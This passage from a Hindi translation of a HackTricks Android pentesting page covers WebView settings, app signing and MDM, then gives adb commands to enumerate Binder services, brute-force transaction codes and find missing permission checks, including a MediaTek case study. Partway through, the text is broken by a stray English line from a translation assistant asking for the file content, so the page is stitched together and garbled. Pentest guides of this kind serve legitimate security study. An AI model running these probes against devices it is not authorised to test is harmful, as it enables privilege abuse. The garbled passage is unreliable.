  • फाइल एक्सेस को डिसेबल करना (setAllowFileAccess(false)) फ़ाइल सिस्टम तक पहुँच को सीमित करता है, कुछ assets के लिए अपवादों के साथ, यह सुनिश्चित करते हुए कि वे केवल गैर-संवेदनशील सामग्री के लिए ही उपयोग हों।

अन्य ऐप घटक और मोबाइल डिवाइस प्रबंधन

ऐप्लिकेशन का डिजिटल साइनिंग

  • Digital signing Android apps के लिए अनिवार्य है, यह सुनिश्चित करता है कि वे इंस्टॉलेशन से पहले प्रामाणिक रूप से authored हैं। यह प्रक्रिया ऐप की पहचान के लिए एक सर्टिफिकेट का उपयोग करती है और इंस्टॉलेशन के समय डिवाइस के पैकेज मैनेजर द्वारा सत्यापित की जानी चाहिए। Apps को self-signed या external CA द्वारा प्रमाणित किया जा सकता है, जो अनधिकृत एक्सेस से सुरक्षा प्रदान करता है और डिवाइस तक डिलीवरी के दौरान ऐप के छेड़छाड़ न होने को सुनिश्चित करता है।

बेहतर सुरक्षा के लिए ऐप सत्यापन

  • Android 4.2 से शुरू होकर, एक फीचर Verify Apps नाम से उपयोगकर्ताओं को इंस्टॉलेशन से पहले ऐप्स की सुरक्षा जाँच कराने की अनुमति देता है। यह verification process संभावित हानिकारक ऐप्स के संबंध में उपयोगकर्ताओं को चेतावनी दे सकता है, या विशेष रूप से malicious ऐप्स की इंस्टॉलेशन को रोक भी सकता है, जिससे उपयोगकर्ता सुरक्षा बढ़ती है।

Mobile Device Management (MDM)

  • MDM solutions मोबाइल डिवाइसों के लिए पर्यवेक्षण और सुरक्षा प्रदान करते हैं, और यह सामान्यतः Device Administration API के माध्यम से काम करते हैं। प्रभावी रूप से मोबाइल डिवाइसों का प्रबंधन और सुरक्षा सुनिश्चित करने के लिए इनके द्वारा एक Android app की इंस्टॉलेशन आवश्यक होती है। मुख्य कार्यों में पासवर्ड नीतियों को लागू करना, स्टोरेज एन्क्रिप्शन को अनिवार्य करना, और रीमोट डेटा वाइप की अनुमति देना शामिल हैं, जो मोबाइल डिवाइसों पर व्यापक नियंत्रण और सुरक्षा सुनिश्चित करते हैं।
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);

if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}

Enumerating and Exploiting AIDL / Binder Services

Android Binder IPC कई system and vendor-provided services को उजागर करता है। जब ये सेवाएँ बिना उचित permission check के export की जाती हैं तो वे एक attack surface बन जाती हैं (the AIDL layer स्वयं no access-control लागू करता है)।

1. चल रही services का पता लगाना

# from an adb shell (USB or wireless)
service list               # simple one-liner
am list services           # identical output, ActivityManager wrapper

I don’t have the file content. Please paste the contents of src/mobile-pentesting/android-app-pentesting/android-applications-basics.md (or the portion you want translated). I will translate the relevant English text to Hindi and return the result preserving the same markdown/HTML and tags, formatted as a numbered list.

145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146  wifi             : [android.net.wifi.IWifiManager]
  • यह index (पहला कॉलम) रनटाइम पर असाइन किया जाता है – रीबूट्स के बाद इस पर नहीं भरोसा करें।
  • यह Binder name (उदा. mtkconnmetrics) वही होगा जिसे service call में पास किया जाएगा।
  • ब्रैकेट्स के अंदर की वैल्यू वही fully-qualified AIDL interface है जिससे stub जनरेट किया गया था।

2. इंटरफ़ेस डिस्क्रिप्टर प्राप्त करें (PING)

प्रत्येक Binder stub स्वचालित रूप से transaction code 0x5f4e5446 (1598968902 decimal, ASCII “_NTF”) को इम्प्लीमेंट करता है।

# "ping" the service
service call mtkconnmetrics 1    # 1 == decimal 1598968902 mod 2^32

एक वैध उत्तर इंटरफेस नाम लौटाता है जो एक Parcel के अंदर UTF-16 स्ट्रिंग के रूप में एन्कोड होता है।

3. ट्रांज़ैक्शन कॉल करना

विन्यास: service call <name> <code> [type value ...]

सामान्य तर्क निर्दिष्टकर्ता:

  • i32 <int> – साइन किए गए 32-बिट मान
  • i64 <long> – साइन किए गए 64-बिट मान
  • s16 <string> – UTF-16 स्ट्रिंग (Android 13+ में utf16 उपयोग होता है)

उदाहरण – MediaTek हैंडसेट पर uid 1 के साथ नेटवर्क मॉनिटरिंग शुरू करें:

service call mtkconnmetrics 8 i32 1

4. Brute-forcing unknown methods

जब header files उपलब्ध न हों, तो आप iterate the code तब तक कर सकते हैं जब तक error निम्नलिखित से बदल न जाए:

Result: Parcel(00000000 00000000)  # "Not a data message"

एक सामान्य Parcel response या SecurityException.

for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done

यदि सर्विस को with proguard के साथ कंपाइल किया गया था तो मैपिंग का अनुमान लगाना होगा – अगले कदम को देखें।

5. onTransact() के माध्यम से codes ↔ methods का mapping

Decompile the jar/odex that implements the interface (for AOSP stubs check /system/framework; OEMs often use /system_ext or /vendor). Search for Stub.onTransact() – it contains a giant switch(transactionCode):

case TRANSACTION_updateCtaAppStatus:      // 5
data.enforceInterface(DESCRIPTOR);
int appId  = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;

अब प्रोटोटाइप और पैरामीटर प्रकार पूरी तरह स्पष्ट हैं।

6. अनुमति जांचों की कमी का पता लगाना

इम्प्लीमेंटेशन (अक्सर एक inner Impl class) प्राधिकरण के लिए जिम्मेदार होता है:

private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}

ऐसी लॉजिक या privileged UIDs (e.g. uid == 1000 /*system*/) की whitelist का अभाव कमज़ोरी का संकेतक है।

Case study – MediaTek startMonitorProcessWithUid() (transaction 8) Netlink संदेश को बिना किसी permission gate के पूरा execute करता है, जिससे एक unprivileged app kernel के Netfilter module के साथ interact कर सकता है और system log को spam कर सकता है।

7. Automating the assessment

Tools / scripts जो Binder reconnaissance को तेज करते हैं:

  • binderfs – /dev/binderfs को प्रति-सेवा नोड्स के साथ expose करता है
  • binder-scanner.py – binder table में चलता है और ACLs प्रिंट करता है
  • Frida shortcut: Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें